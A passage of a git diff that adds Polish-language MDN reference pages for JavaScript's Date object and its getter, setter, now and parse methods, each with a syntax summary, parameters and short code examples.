Przesunięcie strefy czasowej jest to różnica, wyrażona w minutach, pomiędzy Greenwich Mean Time (GMT) a bieżącym czasem lokalnym. Na przykład, jeśli aktualna strefa to GMT+10, wynikiem jest -600. Wartość nie jest liczbą stałą ze względu na zmiany czasu na letni i zimowy.

+ +

Przykłady

+ +

Przykład: Zastosowanie getTimezoneOffset()

+ +
var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+
diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcdate/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcdate/index.html new file mode 100644 index 0000000000..54f031b3d6 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcdate/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.getUTCDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca dzień (datę) miesiąca dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCDate()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartością zwracaną przez getUTCDate jest liczba całkowita z przedziału od 1 do 31.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCDate()

+ +

Następujący przykład przypisuje aktualny dzień miesiąca do zmiennej d.

+ +
var today = new Date();
+var d = today.getUTCDate();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcday/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcday/index.html new file mode 100644 index 0000000000..4ce3b4207b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcday/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.getUTCDay() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDay +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca dzień tygodnia dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCDay()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getUTCDay jest liczbą całkowitą określającą dzień tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku itd.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCDay()

+ +

Następujący przykład przypisuje aktualny dzień tygodnia do zmiennej weekday.

+ +
var today = new Date();
+var weekday = today.getUTCDay();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcfullyear/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcfullyear/index.html new file mode 100644 index 0000000000..646affed0e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcfullyear/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca rok dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCFullYear()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartością zwracaną przez getUTCFullYear jest dodatnia liczba całkowita, zgodna z rokiem 2000, na przykład 1995.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCFullYear()

+ +

Następujący przykład przypisuje czterocyfrową liczbę aktualnego roku do zmiennej yr.

+ +
var today = new Date();
+var year = today.getUTCFullYear();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutchours/index.html b/files/pl/web/javascript/reference/global_objects/date/getutchours/index.html new file mode 100644 index 0000000000..0006fab388 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutchours/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca godziny dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCHours()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getUTCHours jest liczbą całkowitą z przedziału od 0 do 23.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCHours()

+ +

Następujący przykład przypisuje część aktualnej daty określającą godzinę do zmiennej hrs.

+ +
var today = new Date();
+var hours = today.getUTCHours();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html new file mode 100644 index 0000000000..de048d2998 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca milisekundy dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCMilliseconds()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana getUTCMilliseconds jest liczbą całkowitą z przedziału od 0 do 999.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCMilliseconds()

+ +

Następujący przykład przypisuje część aktualnej daty określającą liczbę milisekund do zmiennej ms.

+ +
var today = new Date();
+var ms = today.getUTCMilliseconds();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcminutes/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcminutes/index.html new file mode 100644 index 0000000000..aabc9f16e7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcminutes/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca minuty dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCMinutes()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getUTCMinutes() jest liczbą całkowitą z przedziału od 0 do 59.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCMinutes()

+ +

Następujący przykład przypisuje część aktualnej daty określającą minuty do zmiennej min.

+ +
var today = new Date();
+var min = today.getUTCMinutes();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcmonth/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcmonth/index.html new file mode 100644 index 0000000000..75899683a3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcmonth/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca miesiąc dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCMonth()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getUTCMonth() jest liczbą całkowitą z przedziału od 0 do 11 odpowiadającą miesiącowi: 0 dla stycznia, 1 dla lutego, 2 dla marca, i tak dalej.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCMonth()

+ +

Następujący przykład przypisuje aktualny miesiąc do zmiennej mon.

+ +
var today = new Date();
+var mon = today.getUTCMonth();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getutcseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/getutcseconds/index.html new file mode 100644 index 0000000000..82f9d40634 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getutcseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca sekundy dla określonej daty stosownie do czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.getUTCSeconds()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez getUTCSeconds() jest liczbą całkowitą z przedziału od 0 do 59.

+ +

Przykłady

+ +

Przykład: Zastosowanie getUTCSeconds()

+ +

Następujący przykład przypisuje część aktualnej daty określającą liczbę sekund do zmiennej sec.

+ +
var today = new Date();
+var sec = today.getUTCSeconds();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/getyear/index.html b/files/pl/web/javascript/reference/global_objects/date/getyear/index.html new file mode 100644 index 0000000000..fdb3c10d75 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/getyear/index.html @@ -0,0 +1,97 @@ +--- +title: Date.prototype.getYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getYear +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear +--- +

{{JSRef}}{{ Deprecated_header() }}

+ +

Podsumowanie

+ +

Zwraca rok dla określonej daty w zależności od czasu lokalnego. Metoda getYear nie jest dłużej wykorzystywana i została zastąpiona metodą {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}.

+ +

Składnia

+ +
dateObj.getYear()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda getYear zwraca rok minus 1900; tak więc:

+ + + + + + + +

Aby obsłużyć lata zarówno przed jak i po roku 2000, należy zamiast getYear użyć metody {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}, która zwraca pełną liczbę określającą rok.

+ +

Kompatybilność wstecz

+ +

JavaScript 1.2 i wersje wcześniejsze

+ +

Metoda getYear() zwraca rok w formacie 2-cyfrowym lub 4-cyfrowym:

+ + + + + +

Przykłady

+ +

Przykład: Lata pomiędzy 1900 i 1999

+ +

Druga instrukcja przypisuje wartość 95 do zmiennej year.

+ +
var Xmas = new Date("December 25, 1995 23:15:00");
+var year = Xmas.getYear(); // zwraca 95
+
+ +

Przykład: Lata powyżej 1999

+ +

Druga instrukcja przypisuje wartość 100 do zmiennej year.

+ +
var Xmas = new Date("December 25, 2000 23:15:00");
+var year = Xmas.getYear(); // zwraca 100
+
+ +

Przykład: Lata poniżej 1900

+ +

Druga instrukcja przypisuje wartość -100 do zmiennej year.

+ +
var Xmas = new Date("December 25, 1800 23:15:00");
+var year = Xmas.getYear(); // zwraca -100
+
+ +

Przykład: Ustawianie i pobieranie roku pomiędzy 1900 i 1999

+ +

Druga instrukcja przypisuje wartość 95 do zmiennej year, reprezentując rok 1995.

+ +
var Xmas.setYear(95);
+var year = Xmas.getYear(); // zwraca 95
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/index.html b/files/pl/web/javascript/reference/global_objects/date/index.html new file mode 100644 index 0000000000..3636152933 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/index.html @@ -0,0 +1,138 @@ +--- +title: Date +slug: Web/JavaScript/Referencje/Obiekty/Date +tags: + - Date + - JavaScript + - data +translation_of: Web/JavaScript/Reference/Global_Objects/Date +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Tworzy instancje Date, które pozwalają na pracę z danymi opisującymi datę i czas.

+ +

Składnia

+ +
new Date();
+new Date(milisekundy);
+new Date(dateString);
+new Date(rok, indeksMiesiąca [, dzień [, godzina [, minuta [, sekunda [, milisekunda]]]]]);
+
+ +

Parametry

+ +
+
milisekundy 
+
Wartość całkowita reprezentująca liczbę milisekund od 1 stycznia 1970, godz. 00:00:00 UTC.
+
+ +
+
dateString 
+
Łańcuch znaków reprezentujący datę. Łańcuch znaków powinien być w formacie rozpoznawalnym przez metodę parse.
+
+ +
+
rok
+
Wartość całkowita reprezentująca rok. Dla zgodności (w celu uniknięcia problemu roku 2000) należy zawsze określać rok w pełnej formie, używając raczej 1998 niż 98.
+
+ +
+
indeksMiesiąca
+
Wartość całkowita reprezentująca miesiąc, począwszy od 0 dla stycznia, kończąc na 11 dla grudnia.
+
+ +
+
dzień
+
Wartość całkowita reprezentująca dzień miesiąca.
+
+ +
+
godzina
+
Wartość całkowita reprezentująca godzinę (w formacie 24-godzinnym).
+
+ +
+
minuta
+
Wartość całkowita reprezentująca część minutową odczytywanego czasu.
+
+ +
+
second
+
Wartość całkowita reprezentująca część sekundową odczytywanego czasu.
+
+ +
+
millisecond
+
Wartość całkowita reprezentująca część milisekundową odczytywanego czasu.
+
+ +

Opis

+ +

Jeśli nie dostarczasz żadnych argumentów, konstruktor tworzy obiekt Date dla dzisiejszej daty i czasu stosownie do czasu lokalnego. Jeśli dostarczasz jakieś argumenty, lecz nie wszystkie, brakujące argumenty mają ustawioną wartość 0. Jeśli jednak dostarczasz jakieś argumenty, musisz dostarczyć co najmniej rok, miesiąc i dzień. Pominąć możesz godzinę, minuty, sekundy i milisekundy.

+ +

Data jest mierzona w milisekundach od północy 1 stycznia 1970 UTC. W jednym dniu jest 86,400,000 milisekund. Zakres wartości obiektu Date wynosi od -100,000,000 dni do 100,000,000 dni w stosunku do 01 stycznia 1970 UTC.

+ +

Obiekt Date zapewnia jednolite działanie bez względu na platformę.

+ +

Obiekt Date wspiera wiele metod UTC (uniwersalny czas światowy) i metody czasu lokalnego. UTC, także znany jako Greenwich Mean Time (GMT), odnosi się do czasu ustanowionego przez "światowy standard czasu" (ang. World Time Standard). Czas lokalny jest czasem, który zna komputer, na jakim jest wykonywany JavaScript.

+ +

Dla kompatybilności z obliczeniami milenijnymi (inaczej, syndromem roku 2000), powinieneś zawsze określić pełen rok, czyli na przykład, używa 1998, nie 98. Aby pomóc Ci w określeniu całego roku, JavaScript zawiera metody {{jsxref("Date.prototype.getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()")}}, {{jsxref("Date.getUTCFullYear()")}} i {{jsxref("Date.setUTCFullYear()")}}.

+ +

Odwoływanie się do Date w kontekście innym niż konstruktor (np. bez operatora {{jsxref("new")}}) będzie zwracało ciąg reprezentujący aktualny czas.

+ +

Własności

+ +
+
{{jsxref("Date.prototype")}}
+
Pozwala dodać własności do obiektu Date.
+
Date.length
+
The value of Date.length is 7. This is the number of arguments handled by the constructor.
+
+
{{jsOverrides("Function", "properties", "prototype")}}
+
+
+ +

Metody

+ +
+
{{jsxref("Date.now()")}}
+
Zwraca wartość liczbową odnoszącą się do aktualnego czasu.
+
{{jsxref("Date.parse()")}}
+
Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu lokalnego do daty podanej jako argument string.
+
{{jsxref("Date.UTC()")}}
+
Zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 czasu uniwersalnego do daty podanej jako zestaw liczb (parametry jak w najdłuższej formie konstruktora).
+
+ +

Przykłady

+ +

Przykład: Kilka sposobów na przypisywanie dat

+ +

Poniżej przedstawiono kilka przykładowych przypisań dat:

+ +
var dzisiaj = new Date();
+var urodziny = new Date("December 17, 1995 03:24:00");
+var urodziny = new Date(1995,11,17);
+var urodziny = new Date(1995,11,17,3,24,0);
+
+ +

Przykład: Obliczanie czasu trwania

+ +

Poniższy przykład pokazuje, jak określić czas, jaki minął pomiędzy dwoma datami:

+ +
// używając metod statycznych
+var start = Date.now();
+// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
+zrobCosPrzezDlugiCzas();
+var stop = Date.now();
+var roznica_czasow = stop - start; // czas w milisekundach
+
+ +
// wykorzystując obiekty Date
+var start = new Date();
+// zdarzenie, dla którego chciałbyś zmierzyć czas trwania:
+zrobCosPrzezDlugiCzas();
+var stop = new Date();
+var roznica_czasow = stop.getTime() - start.getTime(); // czas w milisekundach
+
diff --git a/files/pl/web/javascript/reference/global_objects/date/now/index.html b/files/pl/web/javascript/reference/global_objects/date/now/index.html new file mode 100644 index 0000000000..c0a4e1a690 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/now/index.html @@ -0,0 +1,43 @@ +--- +title: Date.now() +slug: Web/JavaScript/Referencje/Obiekty/Date/now +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/now +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca liczbę milisekund, która upłynęła od 1 stycznia 1970 00:00:00 UTC.

+ +

Składnia

+ +
var timeInMs = Date.now();
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda now zwraca milisekundy, które upłynęły od 1 stycznia 1970 00:00:00 UTC do teraz w postaci obiektu {{jsxref("Number")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie now

+ +

Poniższy przykład używa now do stworzenia znacznika czasu.

+ +
var timestamp = Date.now();
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/parse/index.html b/files/pl/web/javascript/reference/global_objects/date/parse/index.html new file mode 100644 index 0000000000..d500500484 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/parse/index.html @@ -0,0 +1,74 @@ +--- +title: Date.parse() +slug: Web/JavaScript/Referencje/Obiekty/Date/parse +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse +--- +
 {{JSRef}}
+ +

Podsumowanie

+ +

Analizuje łańcuch znaków reprezentujący datę i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC.

+ +

Składnia

+ +
Date.parse(dateString)
+ +

Parametry

+ +
+
dateString 
+
Łańcuch znaków reprezentujący datę.
+
+ +

Opis

+ +

Metoda parse pobiera łańcuch znaków daty (na przykład: "Dec 25, 1995") i zwraca liczbę milisekund, które upłynęły od 1 stycznia 1970, 00:00:00 UTC. Gdy parametr nie zawiera informacji na temat strefy czasowej, domyślnie używana jest lokalna strefa czasowa. Ta funkcja jest przydatna do ustawiania wartości daty w oparciu o wartość łańcucha znaków, przykładowo w połączeniu z metodą {{jsxref("Date.prototype.setTime()", "setTime()")}} oraz obiektem {{jsxref("Date")}}.

+ +

Dla podanego łańcucha znaków reprezentującego czas, parse zwraca wartość czasu. Akceptuje składnię standardu daty - IETF: "Mon, 25 Dec 1995 13:30:00 GMT". Rozpoznaje skróty kontynentalnej strefy czasowej US, lecz w ogólnym zastosowaniu używa się przesunięć dla strefy czasowej, na przykład: "Mon, 25 Dec 1995 13:30:00 GMT+0430" (4 godziny i 30 minut na zachód od południka Greenwich). Jeśli nie określono strefy czasowej, domyślna jest strefa lokalna. GMT i UTC są rozpatrywane jako równoważne.

+ +

Mimo iż specyfikatory strefy czasowej są brane pod uwagę podczas analizy łańcucha znaków do prawidłowej interpretacji argumentu, nie wpływają one jednak na zwracaną wartość, którą zawsze jest ilość milisekund pomiędzy 1 stycznia 1970 roku, 00:00:00 UTC a punktem w czasie reprezentowanym przez argument.

+ +

Ponieważ parse jest metodą statyczną obiektu Date, używamy jej jako Date.parse(), raczej niż jako wywołanie metody utworzonego przez nas obiektu Date.

+ +

Przykłady

+ +

Przykład: Zastosowanie parse

+ +

Jeśli IPOdate jest istniejącym obiektem Date, możemy przypisać mu wartość 9 sierpnia 1995 (czasu lokalnego) w następujący sposób:

+ +
IPOdate.setTime(Date.parse("Aug 9, 1995")) ;
+
+ +

Kilka innych przykładów:

+ +
// Zwraca 807937200000 w strefie czasowej GMT-0300, i inne wartości dla innych stref
+// czasowych, ponieważ argument nie specyfikuje strefy czasowej.
+Date.parse("Aug 9, 1995");
+ +
// Zwraca 807926400000 niezależnie od lokalnej strefy czasowej.
+Date.parse("Wed, 09 Aug 1995 00:00:00 GMT");
+ +
// Zwraca 807937200000 w strefie czasowej GMT-0300, a inne wartości w innych
+// strefach czasowych, ponieważ strefa nie jest wyspecyfikowana w argumencie.
+Date.parse("Wed, 09 Aug 1995 00:00:00");
+ +
// Zwraca 0 niezależnie od lokalnej strefy czasowej.
+Date.parse("Thu, 01 Jan 1970 00:00:00 GMT");
+ +
// Zwraca 14400000 w strefie czasowej GMT-0400, a inne wartości w innych
+// strefach czasowych, ponieważ strefa nie jest podana w argumencie.
+Date.parse("Thu, 01 Jan 1970 00:00:00");
+ +
// Zwraca 14400000 niezależnie od lokalnej strefy czasowej.
+Date.parse("Thu, 01 Jan 1970 00:00:00 GMT-0400");
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setdate/index.html b/files/pl/web/javascript/reference/global_objects/date/setdate/index.html new file mode 100644 index 0000000000..9e0e3db5b9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setdate/index.html @@ -0,0 +1,43 @@ +--- +title: Date.prototype.setDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/setDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia dzień miesiąca dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setDate(dayValue)
+ +

Parametry

+ +
+
dayValue 
+
Liczba całkowita z przedziału od 1 do 31, reprezentująca dzień miesiąca.
+
+ +

Przykłady

+ +

Przykład: Zastosowanie setDate()

+ +

Druga instrukcja poniżej zmienia dzień miesiąca dla zmiennej theBigDay z jego oryginalnej wartości na 24 lipca.

+ +
var theBigDay = new Date("July 27, 1962 23:30:00");
+var theBigDay.setDate(24);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setfullyear/index.html b/files/pl/web/javascript/reference/global_objects/date/setfullyear/index.html new file mode 100644 index 0000000000..6b9fe390a1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setfullyear/index.html @@ -0,0 +1,58 @@ +--- +title: Date.prototype.setFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia kompletny rok dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setFullYear(yearValue[, monthValue[, dayValue]])
+ +

Parametry

+ +
+
yearValue 
+
Liczba całkowita określająca wartość numeryczną roku, na przykład; 1995.
+
+ +
+
monthValue 
+
Liczba całkowita z przedziału od 0 do 11 (reprezentująca miesiące od stycznia do grudnia).
+
+ +
+
dayValue 
+
Liczba całkowita z przedziału od 1 do 31 reprezentująca dzień miesiąca. Jeśli zostaje podany parametr dayValue, należzy również podać monthValue.
+
+ +

Opis

+ +

Jeśli nie zostały podane parametry monthValue i dayValue, biblioteka pobierze te dane z metod {{jsxref("Date.prototype.getMonth()", "getMonth()")}} i {{jsxref("Date.prototype.getDate()", "getDate()")}}.

+ +

Jeżeli określony parametr jest poza oczekiwanym zakresem, setFullYear() spróbuje zaktualizować informacje o dacie w obiekcie Date. Przykładowo, jeśli zostanie podana wartość 15 dla monthValue to rok zostanie zwiększony o 1 (rok+1), a miesiąc zostanie ustawiony na wartość 3.

+ +

Przykłady

+ +

Przykład: Zastosowanie setFullYear()

+ +
var theBigDay = new Date();
+theBigDay.setFullYear(1997);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/sethours/index.html b/files/pl/web/javascript/reference/global_objects/date/sethours/index.html new file mode 100644 index 0000000000..8e3f95ff7d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/sethours/index.html @@ -0,0 +1,66 @@ +--- +title: Date.prototype.setHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/setHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia godziny dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])
+ +

Do wersji JavaScript 1.3

+ +
dateObj.setHours(hoursValue)
+ +

Parametry

+ +
+
hoursValue 
+
Liczba całkowita pomiędzy 0 i 23, reprezentująca godziny.
+
+ +
+
minutesValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
+
+ +
+
secondsValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
+
+ +
+
msValue 
+
A Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
+
+ +

Opis

+ +

Jeśli nie określisz parametrów minutesValue, secondsValue i msValue, wartość zwracana użytych metod {{jsxref("Date.prototype.getMinutes()", "getMinutes()")}}, {{jsxref("Date.prototype.getSeconds()", "getSeconds()")}} i {{jsxref("Date.prototype.getMilliseconds()", "getMilliseconds()")}}.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setHours próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty będą wzrastać o 1 (min + 1), i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setHours()

+ +
var the BigDay = new Date();
+theBigDay.setHours(7);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setmilliseconds/index.html b/files/pl/web/javascript/reference/global_objects/date/setmilliseconds/index.html new file mode 100644 index 0000000000..c2a1359801 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setmilliseconds/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.setMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia milisekundy dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setMilliseconds(millisecondsValue)
+ +

Parametry

+ +
+
millisecondsValue 
+
Liczba pomiędzy 0 a 999, reprezentująca milisekundy.
+
+ +

Opis

+ +

Jeśli sprecyzujesz liczbę z poza oczekiwanego szeregu, informacje zawarte w obiekcie Date będą aktualizowane. Na przykład, jeśli określisz 1005, liczba sekund rośnie o 1, i 5 jest użyte dla milisekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setMilliseconds()

+ +
var theBigDay = new Date();
+theBigDay.setMilliseconds(100);
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/setminutes/index.html b/files/pl/web/javascript/reference/global_objects/date/setminutes/index.html new file mode 100644 index 0000000000..011137c893 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/setminutes/index.html @@ -0,0 +1,60 @@ +--- +title: Date.prototype.setMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/setMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Ustawia minuty dla określonej daty stosownie do czasu lokalnego.

+ +

Składnia

+ +
dateObj.setMinutes(minutesValue[, secondsValue[, msValue]])
+ +

Do wersji JavaScript 1.3

+ +
dateObj.setMinutes(minutesValue)
+ +

Parametry

+ +
+
minutesValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca minuty.
+
+ +
+
secondsValue 
+
Liczba całkowita pomiędzy 0 i 59, reprezentująca sekundy. Jeśli określisz parametr secondsValue, musisz także określić minutesValue.
+
+ +
+
msValue 
+
Liczba pomiędzy 0 i 999, reprezentująca milisekundy. Jeśli określisz parametr msValue, musisz także określić minutesValue i secondsValue.
+
+ +

Opis

+ +

Jeśli nie określono parametrów secondsValue i msValue, są użyte wartości zwracanych metod getSeconds i getMilliseconds.

+ +

Jeśli Twój parametr jest określony z poza szeregu, setMinutes próbuje zaktualizować informacje o dacie w obiekcie Date. Na przykład, jeśli użyjesz wartości 100 dla secondsValue, minuty (minutesValue) będą wzrastać o 1 (minutesValue + 1) i wartość 40 będzie użyta dla sekund.

+ +

Przykłady

+ +

Przykład: Zastosowanie setMinutes()

+ +
var theBigDay = new Date();
+theBigDay.setMinutes(45);
+ +

Zobacz także

